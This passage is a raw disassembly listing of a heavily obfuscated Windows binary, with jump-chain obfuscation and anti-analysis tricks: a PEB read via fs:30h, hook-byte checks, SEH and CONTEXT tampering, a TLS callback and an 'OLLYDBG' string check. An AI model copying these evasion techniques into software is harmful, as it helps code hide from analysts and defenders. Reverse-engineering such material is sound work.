sub_4254D3 pop ecx mov [ebp-20h], eax jmp loc_42644B ; --------------------------------------------------------------------------- loc_429096: ; CODE XREF: sub_425B00:loc_42AFA1j test byte ptr [ebp-8], 40h jz loc_42A779 push ebp jmp loc_42CB94 ; END OF FUNCTION CHUNK FOR sub_425B00 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C379 loc_4290A6: ; CODE XREF: sub_42C379-F66j xchg edx, [esp+8+var_8] jmp loc_429309 ; END OF FUNCTION CHUNK FOR sub_42C379 ; =============== S U B R O U T I N E ======================================= sub_4290AE proc near ; CODE XREF: sub_4277D0+11j ; sub_42794C+Bp xchg edi, [esp+0] pop edi mov eax, [ebp-4] push offset loc_425FD5 jmp nullsub_51 sub_4290AE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4289E4 loc_4290BF: ; CODE XREF: sub_4289E4:loc_423244j mov ebp, esp add esp, 0FFFFFFF4h mov [ebp-4], eax mov eax, [ebp-4] mov [ebp-0Ch], eax xor eax, eax loc_4290CF: ; CODE XREF: _0182ofla:0042C2C2j jmp loc_428394 ; END OF FUNCTION CHUNK FOR sub_4289E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B15E loc_4290D4: ; CODE XREF: sub_42B15E-3CBBj jz loc_428BDA cmp edx, 58C16763h jmp loc_423533 ; END OF FUNCTION CHUNK FOR sub_42B15E ; --------------------------------------------------------------------------- locret_4290E5: ; CODE XREF: _0182ofla:loc_425B8Cj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C718 loc_4290E6: ; CODE XREF: sub_42C718-2959j jmp loc_4270C1 ; END OF FUNCTION CHUNK FOR sub_42C718 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B1F9 loc_4290EB: ; CODE XREF: sub_42B1F9-6CCBj jmp loc_42A4E6 ; END OF FUNCTION CHUNK FOR sub_42B1F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EAB7 loc_4290F0: ; CODE XREF: sub_42EAB7+16j inc dword ptr [ebp-20h] push offset loc_425759 jmp loc_42DFB6 ; END OF FUNCTION CHUNK FOR sub_42EAB7 ; =============== S U B R O U T I N E ======================================= sub_4290FD proc near ; DATA XREF: sub_428F0F-5C5Fo var_8 = dword ptr -8 ; FUNCTION CHUNK AT 004236C0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E0EC SIZE 00000016 BYTES push ebx push 2FCA8751h xchg ebp, [esp+8+var_8] adc ebx, 880CCD24h jmp loc_4236C0 sub_4290FD endp ; --------------------------------------------------------------------------- xchg ebp, [eax] jmp sub_426295 ; --------------------------------------------------------------------------- xchg ebx, eax jmp sub_429A98 ; --------------------------------------------------------------------------- loc_42911F: ; CODE XREF: _0182ofla:00426392j jz loc_4274F4 jmp loc_42A111 ; --------------------------------------------------------------------------- loc_42912A: ; CODE XREF: _0182ofla:0042E91Bj popf ; =============== S U B R O U T I N E ======================================= sub_42912B proc near ; CODE XREF: sub_42C1D1-636Bp ; FUNCTION CHUNK AT 0042767D SIZE 0000000A BYTES mov [esp+0], eax pop eax setz al call sub_42ECAD pop ecx jmp loc_42767D sub_42912B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42913D proc near ; DATA XREF: sub_425BED+1C56o mov ebx, [eax+4] mov eax, [eax] call sub_425BED loc_429147: ; DATA XREF: sub_423861+C21o cmp byte ptr [eax], 0CFh jz loc_42A2ED mov eax, [ebp-4] cmp byte ptr [eax], 0E9h jz loc_42A2ED mov eax, [ebp-4] loc_42915F: ; CODE XREF: _0182ofla:loc_425617j jmp loc_42A037 sub_42913D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423861 loc_429164: ; CODE XREF: sub_423861:loc_42386Aj mov eax, [ebp+var_4] movzx eax, byte ptr [eax] jmp loc_4291B0 ; END OF FUNCTION CHUNK FOR sub_423861 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42583B loc_42916F: ; CODE XREF: sub_42583B:loc_426ED5j jnb loc_4291B0 pop eax jmp loc_42C924 ; END OF FUNCTION CHUNK FOR sub_42583B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428EB9 loc_42917B: ; CODE XREF: sub_428EB9+5B41j setz al call sub_42ECAD pop ecx shl eax, 3 mov edx, [ebp+8] jmp loc_427996 ; --------------------------------------------------------------------------- loc_42918F: ; CODE XREF: sub_428EB9:loc_42E9E2j cmp dword ptr [ebp-10h], 0 jnz loc_42AC56 mov eax, [ebp+8] jmp loc_42ABCE ; END OF FUNCTION CHUNK FOR sub_428EB9 ; --------------------------------------------------------------------------- locret_4291A1: ; CODE XREF: _0182ofla:004292C9j retn ; --------------------------------------------------------------------------- loc_4291A2: ; CODE XREF: _0182ofla:0042A357j jb loc_4258E7 or ecx, esi jmp sub_42B860 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_191. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423861 loc_4291B0: ; CODE XREF: sub_423861+5909j ; sub_42583B:loc_42916Fj jmp loc_428F7C ; END OF FUNCTION CHUNK FOR sub_423861 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42380D loc_4291B5: ; CODE XREF: sub_42380D+477Cj jmp loc_42A7FD ; END OF FUNCTION CHUNK FOR sub_42380D ; =============== S U B R O U T I N E ======================================= sub_4291BA proc near ; CODE XREF: sub_42E689-463Ap var_8 = dword ptr -8 ; FUNCTION CHUNK AT 004237F9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424D97 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425376 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042539E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004255DF SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00427611 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00428097 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042985F SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042CF82 SIZE 00000005 BYTES push dword ptr fs:0 mov fs:0, esp jmp loc_425376 sub_4291BA endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_121. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_4291CC: ; CODE XREF: sub_42798F+326Aj jmp loc_424ED2 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- loc_4291D1: ; CODE XREF: _0182ofla:004254C3j jmp loc_4283D7 ; --------------------------------------------------------------------------- loc_4291D6: ; DATA XREF: sub_42798F+11o push ecx push 0DC85ABC3h ; START OF FUNCTION CHUNK FOR sub_4278DB loc_4291DC: ; CODE XREF: sub_4278DB-74Fj pop ecx xor ecx, 7AE8986Ah add ecx, 59D57B68h xchg ecx, [esp-8+arg_4] jmp loc_42AD2E ; END OF FUNCTION CHUNK FOR sub_4278DB ; =============== S U B R O U T I N E ======================================= sub_4291F1 proc near ; DATA XREF: sub_42798F-1148o xchg edx, [esp+0] retn sub_4291F1 endp ; =============== S U B R O U T I N E ======================================= sub_4291F5 proc near ; DATA XREF: sub_42798F-114Do ; FUNCTION CHUNK AT 0042D368 SIZE 00000005 BYTES add edx, 0EB5640AFh xchg edx, [esp+0] jmp loc_42D368 sub_4291F5 endp ; =============== S U B R O U T I N E ======================================= sub_429203 proc near ; DATA XREF: sub_42798F+5167o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042557B SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00429EB9 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042A204 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CDAE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D4D9 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042D99F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E5CE SIZE 00000005 BYTES cmp byte ptr [ebp-5], 0 jnz loc_429D23 jmp loc_42A204 sub_429203 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_208. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4271D2 loc_429213: ; CODE XREF: sub_4271D2+Dj mov eax, ds:dword_423194 or eax, eax jnz loc_42C6DB jmp loc_42505E ; END OF FUNCTION CHUNK FOR sub_4271D2 ; --------------------------------------------------------------------------- loc_429226: ; CODE XREF: _0182ofla:004263E1j shr ebx, 2 loc_429229: ; CODE XREF: _0182ofla:loc_42E32Bj mov eax, [ebp-4] xor edx, edx push edx jmp loc_42EC92 ; --------------------------------------------------------------------------- xor eax, 3BA50746h shl ebx, 3 jmp sub_42E648 ; =============== S U B R O U T I N E ======================================= sub_429242 proc near ; CODE XREF: _0182ofla:0042B03Ep ; FUNCTION CHUNK AT 00424239 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 004266A1 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042972D SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042B159 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B85A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E248 SIZE 00000007 BYTES push dword ptr fs:0 mov fs:0, esp loc_42924E: ; CODE XREF: _0182ofla:0042CADCj jmp loc_42E248 sub_429242 endp ; --------------------------------------------------------------------------- adc ebx, esi jmp sub_42349B ; --------------------------------------------------------------------------- loc_42925A: ; DATA XREF: _0182ofla:loc_4245A8o push 0BC4FF081h mov [esp], edx push offset sub_42DA0D jmp loc_4230A7 ; =============== S U B R O U T I N E ======================================= sub_42926C proc near ; CODE XREF: sub_42DB2E:loc_42DB44j add esp, 0FFFFFFECh cmp ds:byte_427A00, 0 jnz loc_4260AA lea edx, [ebp-14h] mov eax, offset dword_427A08 call sub_42B14D push offset loc_42A73B jmp nullsub_151 sub_42926C endp ; --------------------------------------------------------------------------- push eax ror eax, 19h mov ds:dword_427144, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CCE0 loc_42929E: ; CODE XREF: sub_42938A:loc_4246D4j ; sub_42CCE0+8j rol eax, 19h jmp loc_42D72B ; END OF FUNCTION CHUNK FOR sub_42CCE0 ; --------------------------------------------------------------------------- loc_4292A6: ; DATA XREF: sub_426571-F64o mov ds:dword_424C1C, eax xor eax, eax push edx push 8EFA1547h jmp loc_428DE9 ; --------------------------------------------------------------------------- loc_4292B8: ; CODE XREF: _0182ofla:00424D2Ej jge loc_423BB5 jnz loc_424195 loc_4292C4: ; CODE XREF: _0182ofla:loc_42E7FAj push offset sub_424F35 jmp locret_4291A1 ; --------------------------------------------------------------------------- and ebx, eax jmp sub_428245 ; --------------------------------------------------------------------------- loc_4292D5: ; CODE XREF: _0182ofla:0042D98Fj jbe loc_42D9C8 jl loc_428B6E ; =============== S U B R O U T I N E ======================================= sub_4292E1 proc near ; CODE XREF: _0182ofla:0042881Bp ; FUNCTION CHUNK AT 00424ADD SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042EC67 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax lea eax, [ebp-400h] xchg eax, esi push esi xchg eax, esi jmp loc_424ADD sub_4292E1 endp ; --------------------------------------------------------------------------- xchg eax, esi push esi xchg eax, esi ror eax, 12h mov ds:dword_424BF8, eax ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_216. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C2F0 loc_429304: ; CODE XREF: sub_42C2F0+14j jmp loc_42766D ; END OF FUNCTION CHUNK FOR sub_42C2F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C379 loc_429309: ; CODE XREF: sub_42C379-32D0j jmp sub_424CD8 ; END OF FUNCTION CHUNK FOR sub_42C379 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F20 loc_42930E: ; CODE XREF: sub_428F20:loc_427861j jmp loc_4283D7 ; END OF FUNCTION CHUNK FOR sub_428F20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BF8 loc_429313: ; CODE XREF: sub_425BF8+91A9j jz loc_4263AD ; END OF FUNCTION CHUNK FOR sub_425BF8 ; START OF FUNCTION CHUNK FOR sub_42D056 loc_429319: ; CODE XREF: sub_42D056:loc_42987Bj jmp loc_429E7E ; END OF FUNCTION CHUNK FOR sub_42D056 ; =============== S U B R O U T I N E ======================================= sub_42931E proc near ; CODE XREF: sub_425EEB+6p ; _0182ofla:00428836j ; FUNCTION CHUNK AT 004261BB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004263E6 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426E74 SIZE 0000001E BYTES xchg esi, [esp+0] pop esi mov eax, [eax+60h] add eax, [ebp-4] mov [ebp-14h], eax jmp loc_4261BB sub_42931E endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_429330: ; CODE XREF: _0182ofla:0042D9C3j retn ; --------------------------------------------------------------------------- loc_429331: ; DATA XREF: _0182ofla:0042D3FFo add edx, ebp add edx, 31E74479h mov edx, [edx] xchg eax, [edx] jmp loc_42EAD2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_210. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AB27 loc_429343: ; CODE XREF: sub_42AB27+Cj jmp loc_4293E6 ; END OF FUNCTION CHUNK FOR sub_42AB27 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42768C loc_429348: ; CODE XREF: sub_42768C+23j jmp loc_42D250 ; END OF FUNCTION CHUNK FOR sub_42768C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CE60 loc_42934D: ; CODE XREF: sub_42CE60:loc_42A1C4j xchg ebp, [esp+0] retn ; END OF FUNCTION CHUNK FOR sub_42CE60 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4242AC loc_429351: ; CODE XREF: sub_4242AC+8j jmp loc_42E805 ; END OF FUNCTION CHUNK FOR sub_4242AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425DA5 loc_429356: ; CODE XREF: sub_425DA5-241Ej jmp loc_42CD54 ; END OF FUNCTION CHUNK FOR sub_425DA5 ; =============== S U B R O U T I N E ======================================= sub_42935B proc near ; CODE XREF: _0182ofla:00428DBBp ; _0182ofla:loc_42D218j pushf push offset loc_425DB1 jmp loc_428777 sub_42935B endp ; --------------------------------------------------------------------------- call sub_42A4C6 loc_42936B: ; CODE XREF: _0182ofla:0042B0FEj jmp loc_4234CF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4298DD loc_429370: ; CODE XREF: sub_4298DD-4FA8j jge loc_425575 loc_429376: ; CODE XREF: sub_42C1B2:loc_42D274j shl ecx, 14h adc eax, 83637FD0h jnb loc_42B8BE jmp loc_42C9BF ; END OF FUNCTION CHUNK FOR sub_4298DD ; =============== S U B R O U T I N E ======================================= sub_42938A proc near ; DATA XREF: sub_42D056-473Eo var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004242C4 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004246D4 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042618E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426BFB SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00427123 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427D3C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428990 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B8D4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C351 SIZE 0000001A BYTES add eax, 7D0h mov [ebp-8], eax push edx push 25DCDB58h jmp loc_428990 sub_42938A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DA2D loc_42939D: ; CODE XREF: sub_42DA2D-80DFj shl eax, 2 mov edx, [ebp-14h] mov edx, [edx+1Ch] add edx, [ebp-4] add eax, edx mov eax, [eax] jmp loc_4268AE ; END OF FUNCTION CHUNK FOR sub_42DA2D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DD86 loc_4293B2: ; CODE XREF: sub_42DD86:loc_42AA29j jz loc_42B7E2 jmp loc_427FD5 ; END OF FUNCTION CHUNK FOR sub_42DD86 ; --------------------------------------------------------------------------- ja loc_42CF08 jmp sub_42894D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424184 loc_4293C8: ; CODE XREF: sub_424184+141Cj jnp loc_42B7D3 loc_4293CE: ; CODE XREF: sub_42D33D:loc_42D945j call sub_429BB9 push offset loc_42DC40 jmp loc_42CB76 ; END OF FUNCTION CHUNK FOR sub_424184 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A642 loc_4293DD: ; CODE XREF: sub_42A642:loc_4254CEj adc edx, esi and ebx, ebp jmp loc_42CDB9 ; END OF FUNCTION CHUNK FOR sub_42A642 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AB27 loc_4293E6: ; CODE XREF: sub_42AB27:loc_429343j lea eax, [ebp+var_20] mov dword ptr [eax], 594C4C4Fh lea eax, [ebp+var_1C] mov dword ptr [eax], 474244h jmp loc_426812 ; END OF FUNCTION CHUNK FOR sub_42AB27 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4267F8 loc_4293FD: ; CODE XREF: sub_4267F8:loc_42368Cj inc dword ptr [ebp-8] inc dword ptr [ebp-4] jmp loc_42D114 ; END OF FUNCTION CHUNK FOR sub_4267F8 ; =============== S U B R O U T I N E ======================================= sub_429408 proc near ; CODE XREF: sub_423CEA:loc_423CEDp mov eax, 1Dh retn sub_429408 endp ; =============== S U B R O U T I N E ======================================= sub_42940E proc near ; CODE XREF: _0182ofla:00427BD6j ; sub_428FD6:loc_428FE3p var_8 = dword ptr -8 ; FUNCTION CHUNK AT 004243CE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004250CF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004258B1 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00426CA7 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00426FF9 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00427BFB SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042882A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AD33 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0042CE32 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D0D5 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042E8D8 SIZE 00000005 BYTES mov [esp+0], eax pop eax mov esp, ebp pop ebp mov eax, ds:dword_4231A0 or eax, eax jmp loc_4250CF sub_42940E endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_429422: ; CODE XREF: _0182ofla:loc_42CECAj jmp loc_423EBC ; --------------------------------------------------------------------------- jmp loc_42DD4D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427DA9 loc_42942C: ; CODE XREF: sub_427DA9:loc_42848Cj mov eax, large fs:30h call sub_42486B ; END OF FUNCTION CHUNK FOR sub_427DA9 ; START OF FUNCTION CHUNK FOR sub_42AB3E loc_429438: ; CODE XREF: sub_42AB3E:loc_4238E5j jnz loc_42C27E jmp loc_42B073 ; END OF FUNCTION CHUNK FOR sub_42AB3E ; --------------------------------------------------------------------------- cmp edi, ebp jmp loc_42402A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C553 loc_42944A: ; CODE XREF: sub_42C553-831Fj jge loc_428B44 push 0B593BCBDh pop ebx jmp loc_428B44 ; END OF FUNCTION CHUNK FOR sub_42C553 ; =============== S U B R O U T I N E ======================================= sub_42945B proc near ; CODE XREF: _0182ofla:004272AEp ; FUNCTION CHUNK AT 004266C1 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 004275C2 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx imul dword ptr [edx-4] add eax, 2 mov [ebp-0Ch], eax mov eax, [ebp-0Ch] jmp loc_4266C1 sub_42945B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_429470: ; CODE XREF: sub_42798F-883j mov eax, [ebp+8] push eax call sub_428B26 xchg esi, edx jmp loc_42E6FA ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253DC loc_429480: ; CODE XREF: sub_4253DC-180Cj ; sub_4253DC:loc_429C93j call sub_428D09 push 9CD1DFFAh pop edx add edx, 0E4706EEDh call sub_42D71D push ecx mov [esp+0], eax push offset sub_428CFF jmp loc_424C8A ; END OF FUNCTION CHUNK FOR sub_4253DC ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4294A4 proc near ; CODE XREF: sub_428A39:loc_428510j retn sub_4294A4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D833 loc_4294A5: ; CODE XREF: sub_42D833+36Cj jmp loc_42E63B ; END OF FUNCTION CHUNK FOR sub_42D833 ; =============== S U B R O U T I N E ======================================= sub_4294AA proc near ; CODE XREF: sub_427942+E75p ; _0182ofla:0042A2A7j ; FUNCTION CHUNK AT 0042D662 SIZE 00000005 BYTES mov [esp+0], ebx pop ebx call sub_42CA48 pop ecx mov [ebp-20h], eax jmp loc_42D662 sub_4294AA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427942 loc_4294BC: ; CODE XREF: sub_427942:loc_4287A3j test [ebp+var_8], 2 push offset sub_425B00 jmp loc_426798 ; END OF FUNCTION CHUNK FOR sub_427942 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425DA5 loc_4294CA: ; CODE XREF: sub_425DA5-54Bj jnz loc_42B581 jmp loc_42B25D ; END OF FUNCTION CHUNK FOR sub_425DA5 ; --------------------------------------------------------------------------- push offset sub_4233F8 jmp locret_42EC2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428729 loc_4294DF: ; CODE XREF: sub_428729+4610j test eax, eax jnz loc_42808A jmp loc_42C57F ; END OF FUNCTION CHUNK FOR sub_428729 ; --------------------------------------------------------------------------- cmp edi, 24177767h jmp loc_4256A0 ; --------------------------------------------------------------------------- mov [ecx], esi jmp sub_423D2D ; =============== S U B R O U T I N E ======================================= sub_4294FE proc near ; CODE XREF: sub_429BEC:loc_42335Bp ; _0182ofla:0042A538j ; FUNCTION CHUNK AT 004234B3 SIZE 0000001C BYTES mov [esp+0], ecx pop ecx push 90FE93BBh pop ebx jmp loc_4234B3 sub_4294FE endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428A39 loc_42950D: ; CODE XREF: sub_428A39-5107j call sub_42E668 loc_429512: ; CODE XREF: _0182ofla:00428DCDj jmp loc_42A699 ; END OF FUNCTION CHUNK FOR sub_428A39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42537E loc_429517: ; CODE XREF: sub_42537E+2DD2j jmp loc_42C5FD ; END OF FUNCTION CHUNK FOR sub_42537E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42448C loc_42951C: ; CODE XREF: sub_42448C:loc_42AA86j mov eax, [ebp+var_10] mov eax, [eax+60h] jmp loc_42E235 ; END OF FUNCTION CHUNK FOR sub_42448C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4256AD loc_429527: ; CODE XREF: sub_4256AD:loc_426ADDj xor eax, eax push offset loc_425B3A jmp nullsub_144 ; END OF FUNCTION CHUNK FOR sub_4256AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D15D loc_429533: ; CODE XREF: sub_42D15D:loc_427210j mov [esp+0], ecx mov ecx, [esp+arg_C] mov dword ptr [ecx], 10001h lea eax, loc_42743A mov [ecx+0B8h], eax push 206E9768h jmp loc_42DA97 ; END OF FUNCTION CHUNK FOR sub_42D15D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FE2 loc_429556: ; CODE XREF: sub_423FE2:loc_428E46j pop esi and esi, ds:4000F2h add esi, 0FF26C293h jmp loc_428C63 ; END OF FUNCTION CHUNK FOR sub_423FE2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429E52 loc_429568: ; CODE XREF: sub_429E52+128Fj shr ecx, 17h loc_42956B: ; CODE XREF: sub_429E52:loc_42AB75j push 1238EA97h pop eax or eax, 4F350BE9h sub eax, 0B11A8DA8h jnz loc_426966 loc_429583: ; CODE XREF: sub_428F46-2525j jmp loc_424D77 ; END OF FUNCTION CHUNK FOR sub_429E52 ; --------------------------------------------------------------------------- and edi, esi jmp loc_42DD10 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42537E loc_42958F: ; CODE XREF: sub_42537E:loc_4249ADj ja loc_426BEA or edi, ebx ; END OF FUNCTION CHUNK FOR sub_42537E ; =============== S U B R O U T I N E ======================================= sub_429597 proc near ; CODE XREF: sub_42E734-95D5p ; FUNCTION CHUNK AT 0042D1BC SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042E6E3 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx push 0 mov edx, esp push edx jmp loc_42E6E3 sub_429597 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_4295A5: ; CODE XREF: sub_4253F4:loc_423D7Dj mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h add ecx, 18h mov al, [ecx] loc_4295BD: ; CODE XREF: TlsCallback_0:loc_424AF8j add ecx, 9Ch add [ecx], al jmp loc_424D15 ; END OF FUNCTION CHUNK FOR sub_4253F4 ; --------------------------------------------------------------------------- loc_4295CA: ; CODE XREF: _0182ofla:00426F2Ej sbb edi, edx mov eax, esi sub esi, edx jmp loc_4287EB ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_4295D6 proc near ; CODE XREF: sub_4230AC+4p ; sub_428041-4026p ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423799 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00423F83 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00424FBD SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00427290 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042729C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042861F SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042A3BD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DEBA SIZE 00000005 BYTES jnb loc_42861F call sub_428BBF loc_4295E1: ; CODE XREF: _0182ofla:0042C181j jmp nullsub_54 sub_4295D6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 8A0Fh dd 0FFFFB577h, 17F2E9h db 0, 81h, 0C1h dd 2652F980h ; --------------------------------------------------------------------------- xchg ecx, [esp] jmp sub_42371C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427DA9 loc_4295FF: ; CODE XREF: sub_427DA9+6F1j push 2F496BAAh pop ecx rol ecx, 0Ah xor ecx, 25AEA8E9h add eax, ecx push offset sub_424E80 jmp nullsub_208 ; END OF FUNCTION CHUNK FOR sub_427DA9 ; --------------------------------------------------------------------------- xor ecx, 0EE5AD7B0h jmp sub_42DF61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E689 loc_429625: ; CODE XREF: sub_42E689:loc_42EBB7j push ecx jmp loc_428329 ; END OF FUNCTION CHUNK FOR sub_42E689 ; --------------------------------------------------------------------------- xchg esi, [edi] jmp sub_427EAF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4242FD loc_429632: ; CODE XREF: sub_4242FD+5j push 71D7E985h pop edi and edi, 5570FC30h cmp edi, 0A33452D7h jmp loc_42720A ; END OF FUNCTION CHUNK FOR sub_4242FD ; --------------------------------------------------------------------------- loc_429649: ; CODE XREF: _0182ofla:0042AD0Fj pop edx jz loc_42743A mov eax, 63h call sub_4265C0 jmp loc_427504 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_42965F: ; CODE XREF: sub_423A2A:loc_4246C3j jnz loc_423E3C jmp loc_42591C ; END OF FUNCTION CHUNK FOR sub_423A2A ; --------------------------------------------------------------------------- jmp loc_423E3C ; =============== S U B R O U T I N E ======================================= sub_42966F proc near ; CODE XREF: sub_42966F-436Fj ; sub_4269D9+Dj ... ; FUNCTION CHUNK AT 0042363A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 004252F6 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 004269EB SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004275BD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428FE8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CF54 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0042E413 SIZE 0000000B BYTES mov edx, 1 lock xchg edx, [eax] or edx, edx jz locret_427A5F loc_42967F: ; CODE XREF: sub_42966F-4375j ; 